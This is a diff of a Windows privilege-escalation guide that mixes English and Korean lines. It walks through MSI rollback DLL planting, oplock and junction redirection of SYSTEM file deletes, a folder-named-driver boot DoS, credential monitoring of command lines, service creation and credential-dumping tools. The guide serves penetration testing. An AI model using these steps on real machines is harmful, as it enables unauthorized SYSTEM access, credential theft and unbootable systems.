Pipes**, allowing unrelated processes to share data, even over different networks. This resembles a client/server architecture, with roles defined as **named pipe server** and **named pipe client**. +Windows provides a feature called Named Pipes, allowing unrelated processes to share data, even over different networks. This resembles a client/server architecture, with roles defined as **named pipe server** and **named pipe client**. When data is sent through a pipe by a **client**, the **server** that set up the pipe has the ability to **take on the identity** of the **client**, assuming it has the necessary **SeImpersonate** rights. Identifying a **privileged process** that communicates via a pipe you can mimic provides an opportunity to **gain higher privileges** by adopting the identity of that process once it interacts with the pipe you established. For instructions on executing such an attack, helpful guides can be found [**here**](named-pipe-client-impersonation.md) and [**here**](#from-high-integrity-to-system). Also the following tool allows to **intercept a named pipe communication with a tool like burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **and this tool allows to list and see all the pipes to find privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) -## Misc +## 기타 -### File Extensions that could execute stuff in Windows +### Windows에서 실행을 유발할 수 있는 파일 확장자 -Check out the page **[https://filesec.io/](https://filesec.io/)** +Check out the page [https://filesec.io/](https://filesec.io/) -### **Monitoring Command Lines for passwords** +### **명령줄에서 비밀번호 모니터링** -When getting a shell as a user, there may be scheduled tasks or other processes being executed which **pass credentials on the command line**. The script below captures process command lines every two seconds and compares the current state with the previous state, outputting any differences. +사용자 권한으로 shell을 얻었을 때, 예약된 작업이나 다른 프로세스가 명령줄에 자격 증명을 전달하며 실행될 수 있다. 아래 스크립트는 프로세스의 명령줄을 2초마다 캡처하고 현재 상태를 이전 상태와 비교하여 차이점을 출력한다. ```bash while($true) { @@ -1293,15 +1302,15 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine Compare-Object -ReferenceObject $process -DifferenceObject $process2 } ``` -## 프로세스에서 비밀번호 훔치기 +## Stealing passwords from processes -## 저권한 사용자에서 NT\AUTHORITY SYSTEM으로 (CVE-2019-1388) / UAC 우회 +## From Low Priv User to NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass -그래픽 인터페이스에 접근할 수 있고 (console 또는 RDP를 통해) UAC가 활성화되어 있으면, 일부 Microsoft Windows 버전에서는 권한이 없는 사용자로부터 "NT\AUTHORITY SYSTEM"과 같은 터미널이나 다른 프로세스를 실행할 수 있습니다. +그래픽 인터페이스에 접근할 수 있고 (via console or RDP) UAC가 활성화되어 있는 경우, 일부 Microsoft Windows 버전에서는 권한이 없는 사용자로부터 "NT\AUTHORITY SYSTEM"과 같은 터미널이나 다른 프로세스를 실행할 수 있습니다. -이로 인해 동일한 취약점을 이용해 권한 상승과 UAC 우회를 동시에 수행할 수 있습니다. 또한 아무것도 설치할 필요가 없고, 프로세스 수행에 사용되는 바이너리는 Microsoft에서 서명하고 발행한 것입니다. +이로 인해 동일한 취약점을 이용해 권한을 상승시키고 동시에 UAC를 우회할 수 있습니다. 또한 어떤 것도 설치할 필요가 없으며, 프로세스 중에 사용되는 binary는 Microsoft에서 서명하고 발급한 것입니다. -영향을 받는 일부 시스템은 다음과 같습니다: +Some of the affected systems are the following: ``` SERVER ====== @@ -1347,14 +1356,14 @@ https://github.com/jas502n/CVE-2019-1388 ## From Administrator Medium to High Integrity Level / UAC Bypass -Read this to **learn about Integrity Levels**: +Integrity Levels에 대해 **학습하려면** 다음을 읽으세요: {{#ref}} integrity-levels.md {{#endref}} -Then **read this to learn about UAC and UAC bypasses:** +그런 다음 **UAC 및 UAC bypass에 대해 학습하려면** 다음을 읽으세요: {{#ref}} @@ -1363,111 +1372,113 @@ Then **read this to learn about UAC and UAC bypasses:** ## From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP -The technique described [**in this blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) with a exploit code [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). +기법은 [**in this blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) 에 설명되어 있으며, 익스플로잇 코드는 [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs) 에 있습니다. -이 공격은 기본적으로 Windows Installer의 rollback 기능을 악용해 정당한 파일을 제거(또는 대체)하는 대신 언인스톨 과정에서 악성 파일로 교체하는 방식입니다. 이를 위해 공격자는 `C:\Config.Msi` 폴더를 하이재크하는 데 사용할 **malicious MSI installer**를 만들어야 하며, 이후 Windows Installer가 다른 MSI 패키지의 언인스톨 시 rollback 파일을 저장할 때 이 폴더가 사용됩니다. 공격자는 rollback 파일들이 악성 페이로드를 포함하도록 조작됩니다. +공격은 기본적으로 Windows Installer의 rollback 기능을 악용하여 제거(uninstallation) 과정 중 정당한 파일을 악성 파일로 교체하는 것입니다. 이를 위해 공격자는 `C:\Config.Msi` 폴더를 하이재킹하는 데 사용될 **malicious MSI installer** 를 만들어야 하며, 이 폴더는 이후 다른 MSI 패키지의 제거 과정에서 rollback 파일을 저장하는 데 Windows Installer가 사용하게 됩니다. 이 rollback 파일들이 악성 페이로드를 포함하도록 수정됩니다. 요약된 기법은 다음과 같습니다: 1. **Stage 1 – Preparing for the Hijack (leave `C:\Config.Msi` empty)** -- Step 1: Install the MSI - - writable 폴더(`TARGETDIR`)에 무해한 파일(예: `dummy.txt`)을 설치하는 `.msi`를 생성합니다. - - 설치 프로그램을 **"UAC Compliant"**로 표시하여 **non-admin user**가 실행할 수 있게 합니다. - - 설치 후 해당 파일에 대한 **handle**을 열어 둡니다. +- Step 1: Install the MSI +- Writable 폴더(`TARGETDIR`)에 무해한 파일(예: `dummy.txt`)을 설치하는 `.msi`를 만듭니다. +- 설치 프로그램을 **"UAC Compliant"** 로 표시하여 **non-admin user**가 실행할 수 있게 합니다. +- 설치 후 파일에 대한 **handle** 을 열어 둡니다. -- Step 2: Begin Uninstall - - 동일한 `.msi`를 언인스톨합니다. - - 언인스톨 과정에서 파일들이 `C:\Config.Msi`로 이동되고 `.rbf` 파일로 이름이 바뀌며(rollback 백업) 저장됩니다. - - `GetFinalPathNameByHandle`을 사용해 열린 파일 핸들을 폴링하여 파일이 `C:\Config.Msi\.rbf`가 되는 시점을 감지합니다. +- Step 2: Begin Uninstall +- 같은 `.msi`를 제거(uninstall)합니다. +- 제거 과정에서 파일들이 `C:\Config.Msi`로 이동하고 `.rbf` 파일(rollback 백업)로 이름이 변경됩니다. +- 파일이 `C:\Config.Msi\.rbf`가 될 때를 감지하기 위해 `GetFinalPathNameByHandle`을 사용해 **open file handle을 폴링**합니다. -- Step 3: Custom Syncing - - `.msi`는 **custom uninstall action (`SyncOnRbfWritten`)**을 포함하여: - - `.rbf`가 쓰여졌음을 신호로 보냅니다. - - 언인스톨을 계속하기 전에 다른 이벤트를 기다립니다. +- Step 3: Custom Syncing +- `.msi`에는 다음과 같은 **custom uninstall action (`SyncOnRbfWritten`)** 이 포함되어 있습니다: +- `.rbf`가 쓰여졌을 때 신호를 보냄. +- 그런 다음 제거를 계속하기 전에 다른 이벤트를 **대기**함. -- Step 4: Block Deletion of `.rbf` - - 시그널을 받으면 `FILE_SHARE_DELETE` 없이 `.rbf` 파일을 엽니다 — 이렇게 하면 해당 파일이 **삭제되지 않게** 됩니다. - - 그런 다음 언인스톨이 완료될 수 있도록 다시 신호를 보냅니다. - - Windows Installer는 `.rbf`를 삭제하지 못하고, 모든 내용을 삭제할 수 없기 때문에 **`C:\Config.Msi`가 제거되지 않습니다.** +- Step 4: Block Deletion of `.rbf` +- 신호를 받으면 `FILE_SHARE_DELETE` 없이 **`.rbf` 파일을 엽니다** — 이렇게 하면 해당 파일을 **삭제할 수 없게 됩니다**. +- 그런 다음 제거가 끝나도록 **반대 신호**를 보냅니다. +- Windows Installer가 `.rbf`를 삭제하지 못하고, 모든 내용을 삭제할 수 없기 때문에 **`C:\Config.Msi`가 제거되지 않습니다**. -- Step 5: Manually Delete `.rbf` - - 공격자는 수동으로 `.rbf` 파일을 삭제합니다. - - 이제 **`C:\Config.Msi`는 비어있어** 하이재크할 준비가 됩니다. +- Step 5: Manually Delete `.rbf` +- 공격자(당신)가 `.rbf` 파일을 수동으로 삭제합니다. +- 이제 **`C:\Config.Msi`가 비어있게 되어** 하이재킹할 준비가 됩니다. -> 이 시점에서, `C:\Config.Msi`를 삭제하기 위해 **SYSTEM-level arbitrary folder delete vulnerability**를 트리거하세요. +> 이 시점에서, `C:\Config.Msi`를 삭제하기 위해 **SYSTEM-level arbitrary folder delete vulnerability** 를 트리거하세요. 2. **Stage 2 – Replacing Rollback Scripts with Malicious Ones** -- Step 6: Recreate `C:\Config.Msi` with Weak ACLs - - 직접 `C:\Config.Msi` 폴더를 재생성합니다. - - **약한 DACL**(예: Everyone:F)을 설정하고, `WRITE_DAC` 권한으로 핸들을 유지합니다. +- Step 6: Recreate `C:\Config.Msi` with Weak ACLs +- 스스로 `C:\Config.Msi` 폴더를 재생성합니다. +- **weak DACLs**(예: Everyone:F)를 설정하고 `WRITE_DAC` 권한으로 **handle을 열어 둡니다**. -- Step 7: Run Another Install - - 다시 `.msi`를 설치합니다. - - `TARGETDIR`: 쓰기 가능한 위치. - - `ERROROUT`: 강제 실패를 유발하는 변수. - - 이 설치는 다시 **rollback**을 트리거하는 데 사용되며, rollback은 `.rbs`와 `.rbf`를 읽습니다. +- Step 7: Run Another Install +- 다음 옵션으로 `.msi`를 다시 설치합니다: +- `TARGETDIR`: 쓰기 가능한 위치. +- `ERROROUT`: 강제 실패를 유발하는 변수. +- 이 설치는 다시 **rollback** 을 트리거하는 데 사용되며, rollback은 `.rbs`와 `.rbf`를 읽습니다. -- Step 8: Monitor for `.rbs` - - `ReadDirectoryChangesW`를 사용해 `C:\Config.Msi`를 모니터링하고 새로운 `.rbs`가 나타날 때까지 기다립니다. - - 그 파일명을 캡처합니다. +- Step 8: Monitor for `.rbs` +- `ReadDirectoryChangesW`를 사용해 `C:\Config.Msi`를 모니터링하여 새로운 `.rbs`가 나타날 때까지 기다립니다. +- 그 파일 이름을 캡처합니다. -- Step 9: Sync Before Rollback - - `.msi`에는 **custom install action (`SyncBeforeRollback`)**가 있어: - - `.rbs`가 생성되면 이벤트를 시그널합니다. - - 그 후 계속하기 전에 기다립니다. +- Step 9: Sync Before Rollback +- `.msi`에는 다음과 같은 **custom install action (`SyncBeforeRollback`)** 이 포함되어 있습니다: +- `.rbs`가 생성될 때 이벤트를 신호로 보냄. +- 그런 다음 계속하기 전에 **대기**함. -- Step 10: Reapply Weak ACL - - `.rbs created` 이벤트를 받은 후: - - Windows Installer는 `C:\Config.Msi`에 **강한 ACL을 다시 적용**합니다. - - 그러나 당신은 여전히 `WRITE_DAC` 권한으로 핸들을 가지고 있으므로 **약한 ACL을 다시 적용**할 수 있습니다. +- Step 10: Reapply Weak ACL +- `.rbs created` 이벤트를 받으면: +- Windows Installer는 `C:\Config.Msi`에 대해 **강한 ACL을 재적용**합니다. +- 그러나 `WRITE_DAC` 권한의 handle을 여전히 가지고 있으므로 다시 **weak ACL을 재적용**할 수 있습니다. -> ACL은 **핸들을 열 때만 적용되므로**, 여전히 폴더에 쓸 수 있습니다. +> ACL은 **handle을 열 때만 적용**되므로 여전히 폴더에 쓸 수 있습니다. -- Step 11: Drop Fake `.rbs` and `.rbf` - - `.rbs` 파일을 덮어써서 Windows가 다음을 수행하도록 하는 **fake rollback script**를 넣습니다: - - 당신의 `.rbf` 파일(악성 DLL)을 **privileged location**(예: `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`)에 복원하도록 지시. - - 또한 악성 SYSTEM-레벨 페이로드 DLL을 포함하는 **fake `.rbf`**를 배치합니다. +- Step 11: Drop Fake `.rbs` and `.rbf` +- `.rbs` 파일을 덮어써서 Windows에게 다음을 지시하는 **fake rollback script** 를 만듭니다: +- 당신의 `.rbf` 파일(악성 DLL)을 **privileged location**(예: `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`)으로 복원하라고 지시. +- SYSTEM 수준 페이로드 DLL을 포함한 **fake `.rbf`** 를 배치. -- Step 12: Trigger the Rollback - - 동기화 이벤트를 시그널하여 인스톨러가 재개되도록 합니다. - - `ErrorOut`로 설정된 **type 19 custom action**이 알려진 지점에서 의도적으로 설치를 실패시킵니다. - - 이로 인해 **rollback이 시작**됩니다. +- Step 12: Trigger the Rollback +- 동기화 이벤트에 신호를 보내 설치가 재개되도록 합니다. +- 알려진 지점에서 설치를 **의도적으로 실패**시키도록 **type 19 custom action (`ErrorOut`)** 를 구성합니다. +- 이로 인해 **rollback이 시작**됩니다. -- Step 13: SYSTEM Installs Your DLL - - Windows Installer는 당신의 악성 `.rbs`를 읽고, - - 타깃 위치에 당신의 `.rbf` DLL을 복사합니다. - - 이제 **SYSTEM가 로드하는 경로에 악성 DLL이 위치**하게 됩니다. +- Step 13: SYSTEM Installs Your DLL +- Windows Installer는: +- 당신의 악성 `.rbs`를 읽고, +- 대상 위치로 당신의 `.rbf` DLL을 복사합니다. +- 이제 **SYSTEM이 로드하는 경로에 악성 DLL이 놓이게** 됩니다. + +- Final Step: Execute SYSTEM Code +- 해당 DLL을 로드하는 신뢰된 **auto-elevated binary**(예: `osk.exe`)를 실행합니다. +- **Boom**: 당신의 코드가 **as SYSTEM** 으로 실행됩니다. -- Final Step: Execute SYSTEM Code - - `osk.exe` 같은 신뢰되는 **auto-elevated binary**를 실행하면 해당 바이너리가 당신이 하이재크한 DLL을 로드합니다. - - **Boom**: 당신의 코드는 **SYSTEM로 실행**됩니다. ### From Arbitrary File Delete/Move/Rename to SYSTEM EoP -주요 MSI rollback 기법(위의 방법)은 전체 폴더(예: `C:\Config.Msi`)를 삭제할 수 있다고 가정합니다. 하지만 취약점이 **임의의 파일 삭제**만 허용한다면 어떻게 할까요? +메인 MSI rollback 기법(앞서 설명한)은 전체 폴더(예: `C:\Config.Msi`)를 삭제할 수 있다고 가정합니다. 하지만 취약점이 **임의의 파일 삭제(arbitrary file deletion)**만 허용한다면 어떻게 할까요? -이 경우에는 **NTFS 내부 동작**을 악용할 수 있습니다: 모든 폴더에는 다음과 같은 숨겨진 대체 데이터 스트림이 있습니다: +NTFS 내부구조를 악용할 수 있습니다: 모든 폴더에는 다음과 같은 숨겨진 alternate data stream이 존재합니다: ``` C:\SomeFolder::$INDEX_ALLOCATION ``` 이 스트림은 폴더의 **인덱스 메타데이터**를 저장합니다. -따라서, 폴더의 **`::$INDEX_ALLOCATION` 스트림을 삭제하면**, NTFS는 파일 시스템에서 폴더 전체를 **제거합니다**. +따라서 폴더의 **`::$INDEX_ALLOCATION` 스트림을 삭제하면**, NTFS는 파일 시스템에서 해당 폴더를 **완전히 제거합니다**. -이 작업은 다음과 같은 표준 파일 삭제 API를 사용하여 수행할 수 있습니다: +다음과 같은 표준 파일 삭제 API를 사용하여 이 작업을 수행할 수 있습니다: ```c DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); ``` -> 비록 *파일* 삭제 API를 호출하고 있어도, 그것은 **폴더 자체를 삭제합니다**. +> 비록 당신이 *file* delete API를 호출하고 있지만, 그것은 **폴더 자체를 삭제합니다**. -### Folder Contents Delete에서 SYSTEM EoP로 -만약 당신의 primitive가 임의의 파일/폴더 삭제를 허용하지 않지만, 그것이 공격자가 제어하는 폴더의 *내용*을 삭제하는 것을 **허용한다면 어떻게 될까?** +### 폴더 내용 삭제에서 SYSTEM EoP로 +primitive가 임의의 파일/폴더를 삭제할 수는 없지만, 공격자가 제어하는 폴더의 *contents*를 **삭제할 수 있다면 어떨까요?** 1. Step 1: 미끼 폴더와 파일 설정 -- 생성: `C:\temp\folder1` -- 그 안에: `C:\temp\folder1\file1.txt` +- Create: `C:\temp\folder1` +- Inside it: `C:\temp\folder1\file1.txt` 2. Step 2: Place an **oplock** on `file1.txt` - The oplock **pauses execution** when a privileged process tries to delete `file1.txt`. @@ -1476,14 +1487,14 @@ DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); RequestOplock("C:\\temp\\folder1\\file1.txt"); WaitForDeleteToTriggerOplock(); ``` -3. 단계 3: SYSTEM 프로세스 트리거 (예: `SilentCleanup`) -- 이 프로세스는 폴더(예: `%TEMP%`)를 스캔하여 그 내용물을 삭제하려고 시도합니다. -- `file1.txt`에 도달하면 **oplock triggers**가 작동하여 제어를 당신의 callback에 넘깁니다. +3. 3단계: SYSTEM 프로세스 트리거(예: `SilentCleanup`) +- 이 프로세스는 폴더(예: `%TEMP%`)를 스캔하고 해당 내용물을 삭제하려고 시도합니다. +- `file1.txt`에 도달하면 **oplock triggers** 되어 제어가 당신의 callback으로 넘어갑니다. -4. 단계 4: oplock callback 내부 – 삭제를 리디렉션 +4. 4단계: oplock callback 내부 – 삭제 리디렉션 - 옵션 A: `file1.txt`를 다른 곳으로 이동 -- 이렇게 하면 `folder1`이 비워지며 oplock을 깨지 않습니다. +- 이렇게 하면 oplock을 깨지 않고 `folder1`이 비워집니다. - `file1.txt`를 직접 삭제하지 마세요 — 그러면 oplock이 조기에 해제됩니다. - 옵션 B: `folder1`을 **junction**으로 변환: @@ -1491,72 +1502,72 @@ WaitForDeleteToTriggerOplock(); # folder1 is now a junction to \RPC Control (non-filesystem namespace) mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control ``` -- 옵션 C: `\RPC Control`에 **symlink** 생성: +- 옵션 C: `\RPC Control`에 **symlink**를 생성: ```bash # Make file1.txt point to a sensitive folder stream CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION") ``` -> 이 대상은 폴더 메타데이터를 저장하는 NTFS 내부 스트림을 겨냥한다 — 이를 삭제하면 폴더가 삭제된다. +> 이것은 폴더 메타데이터를 저장하는 NTFS 내부 스트림을 겨냥한다 — 이를 삭제하면 폴더가 삭제된다. 5. 5단계: oplock 해제 -- SYSTEM 프로세스는 계속 진행되어 `file1.txt`을 삭제하려고 시도한다. +- SYSTEM 프로세스가 계속 진행되며 `file1.txt`를 삭제하려고 시도한다. - 하지만 이제 junction + symlink 때문에 실제로 삭제되는 것은: ``` C:\Config.Msi::$INDEX_ALLOCATION ``` -**결과**: `C:\Config.Msi` is deleted by SYSTEM. +**결과**: `C:\Config.Msi`는 SYSTEM에 의해 삭제됩니다. ### Arbitrary Folder Create에서 Permanent DoS로 -이 primitive를 이용하면 **create an arbitrary folder as SYSTEM/admin** — **you can’t write files** 또는 **set weak permissions** 하더라도 가능합니다. +다음 프리미티브를 악용하면 **create an arbitrary folder as SYSTEM/admin**를 수행할 수 있습니다 — 심지어 **you can’t write files**이거나 **set weak permissions**할 수 없는 경우에도. -**folder**(파일 아님)를 **critical Windows driver** 이름으로 만듭니다. 예: +예를 들어 **critical Windows driver**의 이름을 가진 **folder**(파일 아님)를 생성하세요: ``` C:\Windows\System32\cng.sys ``` - 이 경로는 일반적으로 `cng.sys` 커널 모드 드라이버에 해당합니다. -- 만약 해당 경로를 **폴더로 미리 생성**해두면, Windows는 부팅 시 실제 드라이버를 로드하지 못합니다. -- 그러면 Windows는 부팅 중에 `cng.sys`를 로드하려고 시도합니다. -- 폴더를 발견하면 **실제 드라이버를 찾지 못해**, **시스템이 크래시되거나 부팅이 중단**됩니다. -- **대체(fallback) 수단이 없으며**, 외부 개입(예: 부팅 복구나 디스크 접근) 없이는 **복구가 불가능**합니다. +- 만약 **사전에 폴더로 생성해 둔다면**, Windows는 부팅 시 실제 드라이버를 로드하지 못합니다. +- 그러면 Windows는 부팅 중에 `cng.sys`를 로드하려 시도합니다. +- 폴더를 발견하면, **실제 드라이버를 확인하지 못하고**, **시스템이 충돌하거나 부팅이 중단**됩니다. +- 외부 개입(예: 부트 복구나 디스크 접근) 없이는 **대체 수단이 없으며**, **복구도 불가능**합니다. ## **High Integrity에서 SYSTEM으로** ### **새 서비스** -이미 High Integrity 프로세스에서 실행 중이라면, **SYSTEM으로 가는 경로**는 새 서비스를 **생성하고 실행하는 것만으로** 쉽게 얻을 수 있습니다: +이미 High Integrity 프로세스에서 실행 중이라면, **SYSTEM으로 가는 경로**는 단지 **새 서비스를 생성하고 실행하는 것만으로** 쉽게 확보될 수 있습니다: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` > [!TIP] -> service binary을 만들 때 그것이 valid service인지 또는 binary가 필요한 동작을 빠르게 수행하는지 확인하세요. valid service가 아니면 20s 안에 종료됩니다. +> 서비스 바이너리를 만들 때, 유효한 서비스인지 또는 바이너리가 서비스로서 필요한 동작을 수행하는지 확인하세요. 그렇지 않으면 유효한 서비스가 아닐 경우 20초 안에 종료됩니다. ### AlwaysInstallElevated -High Integrity 프로세스에서 **AlwaysInstallElevated registry entries를 활성화**하고 _**.msi**_ 래퍼를 사용해 리버스 셸을 **설치**해 볼 수 있습니다.\ +High Integrity 프로세스에서 **AlwaysInstallElevated 레지스트리 항목을 활성화**하고 _**.msi**_ 래퍼를 사용해 리버스 셸을 **설치**해 볼 수 있습니다.\ [More information about the registry keys involved and how to install a _.msi_ package here.](#alwaysinstallelevated) ### High + SeImpersonate privilege to System -**You can** [**find the code here**](seimpersonate-from-high-to-system.md)**.** +**다음을 확인할 수 있습니다** [**find the code here**](seimpersonate-from-high-to-system.md)**.** ### From SeDebug + SeImpersonate to Full Token privileges -해당 token 권한을 가지고 있다면(대개 이미 High Integrity 프로세스에서 발견됩니다), SeDebug 권한으로 거의 모든 프로세스(Protected processes 제외)를 열 수 있고, 프로세스의 token을 복사하여 그 token으로 임의의 프로세스를 생성할 수 있습니다.\ -이 기법을 사용할 때는 보통 SYSTEM으로 실행되며 모든 token 권한을 가진 프로세스를 선택합니다(_네, 모든 token 권한을 갖지 않은 SYSTEM 프로세스도 있습니다_).\ +이 토큰 권한들을 가지고 있다면(대개 이미 High Integrity 프로세스에서 찾게 됩니다), SeDebug 권한으로 거의 모든 프로세스(보호된 프로세스 제외)를 **열고**, 해당 프로세스의 **토큰을 복사**하여 그 토큰으로 **임의의 프로세스를 생성**할 수 있습니다.\ +이 기법을 사용할 때는 보통 **SYSTEM으로 실행 중인 프로세스 중 토큰 권한이 모두 있는 프로세스**를 선택합니다 (_예, 모든 토큰 권한이 없는 SYSTEM 프로세스도 찾을 수 있습니다_).\ **You can find an** [**example of code executing the proposed technique here**](sedebug-+-seimpersonate-copy-token.md)**.** ### **Named Pipes** -이 기술은 meterpreter가 `getsystem`에서 권한 상승할 때 사용합니다. 기법은 **파이프를 생성한 뒤 서비스를 생성/오용하여 그 파이프에 쓰도록 하는 것**으로 구성됩니다. 그런 다음 **SeImpersonate** 권한을 사용해 파이프를 생성한 **서버**는 파이프 클라이언트(서비스)의 토큰을 **impersonate**하여 SYSTEM 권한을 얻을 수 있습니다.\ +이 기법은 meterpreter의 `getsystem`에서 사용됩니다. 기법은 **파이프를 생성하고**, 그 파이프에 쓰도록 **서비스를 생성/악용**하는 것으로 구성됩니다. 그런 다음, **파이프를 생성한 서버**는 **`SeImpersonate`** 권한을 사용하여 파이프 클라이언트(서비스)의 **토큰을 가장(impersonate)** 하여 SYSTEM 권한을 얻을 수 있습니다.\ If you want to [**learn more about name pipes you should read this**](#named-pipe-client-impersonation).\ If you want to read an example of [**how to go from high integrity to System using name pipes you should read this**](from-high-integrity-to-system-with-name-pipes.md). ### Dll Hijacking -만약 SYSTEM으로 실행되는 **process**에 의해 **로드되는 dll**를 **hijack**할 수 있다면, 해당 권한으로 임의의 코드를 실행할 수 있습니다. 따라서 Dll Hijacking은 이러한 종류의 권한 상승에 유용하며, 특히 high integrity 프로세스에서 달성하기 훨씬 **더 쉽습니다**. high integrity 프로세스는 dll 로딩에 사용되는 폴더에 대해 **write permissions**를 가지고 있기 때문입니다.\ +**SYSTEM으로 실행 중인 프로세스가 로드하는 dll을 hijack**할 수 있다면 해당 권한으로 임의 코드를 실행할 수 있습니다. 따라서 Dll Hijacking은 이러한 권한 상승에 유용하며, 특히 High Integrity 프로세스에서 더 **쉽게 달성**할 수 있습니다. High Integrity 프로세스는 일반적으로 dll을 로드하는 폴더에 **쓰기 권한**을 갖기 때문입니다.\ **You can** [**learn more about Dll hijacking here**](dll-hijacking/index.html)**.** ### **From Administrator or Network Service to System** @@ -1567,7 +1578,7 @@ If you want to read an example of [**how to go from high integrity to System usi ### From LOCAL SERVICE or NETWORK SERVICE to full privs -읽어보세요: [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) +**Read:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) ## More help @@ -1580,40 +1591,40 @@ If you want to read an example of [**how to go from high integrity to System usi **PS** [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\ -[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- 잘못된 설정과 민감한 파일을 확인합니다 (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Detected.**\ -[**JAWS**](https://github.com/411Hall/JAWS) **-- 일부 가능한 잘못된 설정을 검사하고 정보를 수집합니다 (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ -[**privesc** ](https://github.com/enjoiz/Privesc)**-- 잘못된 설정을 확인합니다**\ -[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- PuTTY, WinSCP, SuperPuTTY, FileZilla, 및 RDP 저장 세션 정보를 추출합니다. 로컬에서 -Thorough를 사용하세요.**\ -[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Credential Manager에서 자격증명을 추출합니다. Detected.**\ -[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- 수집된 비밀번호를 도메인 전반에 스프레이합니다**\ -[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- PowerShell ADIDNS/LLMNR/mDNS/NBNS 스푸퍼 및 중간자 공격 도구입니다.**\ -[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- 기본적인 Windows privesc 열거 도구**\ -[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- 알려진 privesc 취약점을 검색합니다 (DEPRECATED for Watson)\ +[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- 잘못된 구성 및 민감한 파일을 확인합니다 (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Detected.**\ +[**JAWS**](https://github.com/411Hall/JAWS) **-- 일부 가능한 잘못된 구성 확인 및 정보 수집 (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ +[**privesc** ](https://github.com/enjoiz/Privesc)**-- 잘못된 구성 확인**\ +[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- PuTTY, WinSCP, SuperPuTTY, FileZilla, RDP 저장된 세션 정보를 추출합니다. 로컬에서는 -Thorough 사용.**\ +[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Credential Manager에서 자격증명 추출. Detected.**\ +[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- 수집한 비밀번호를 도메인에 대해 스프레이**\ +[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- PowerShell ADIDNS/LLMNR/mDNS/NBNS 스푸퍼 및 MITM 도구.**\ +[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- 기본적인 Windows privesc 열람**\ +[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- 알려진 privesc 취약점 검색 (Watson으로 대체되어 DEPRECATED)\ [~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- 로컬 검사 **(Admin 권한 필요)** **Exe** -[**Watson**](https://github.com/rasta-mouse/Watson) -- 알려진 privesc 취약점을 검색합니다 (VisualStudio로 컴파일 필요) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- 호스트를 열거하여 잘못된 설정을 검색합니다(정보 수집 도구에 가깝습니다) (컴파일 필요) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ -[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- 많은 소프트웨어에서 자격증명을 추출합니다 (github에 precompiled exe 있음)**\ +[**Watson**](https://github.com/rasta-mouse/Watson) -- 알려진 privesc 취약점 검색 (VisualStudio로 컴파일 필요) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- 호스트를 열람하여 잘못된 구성 검색 (정보 수집 도구에 더 가깝고 privesc용이라기보다 정보 수집용) (컴파일 필요) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ +[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- 다양한 소프트웨어에서 자격증명 추출 (GitHub에 precompiled exe 있음)**\ [**SharpUP**](https://github.com/GhostPack/SharpUp) **-- PowerUp의 C# 포트**\ -[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- 잘못된 설정을 검사합니다 (실행 파일이 github에 사전컴파일되어 있음). 권장하지 않습니다. Win10에서 잘 작동하지 않습니다.\ -[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- 가능한 잘못된 설정을 확인합니다 (python으로 만든 exe). 권장하지 않습니다. Win10에서 잘 작동하지 않습니다. 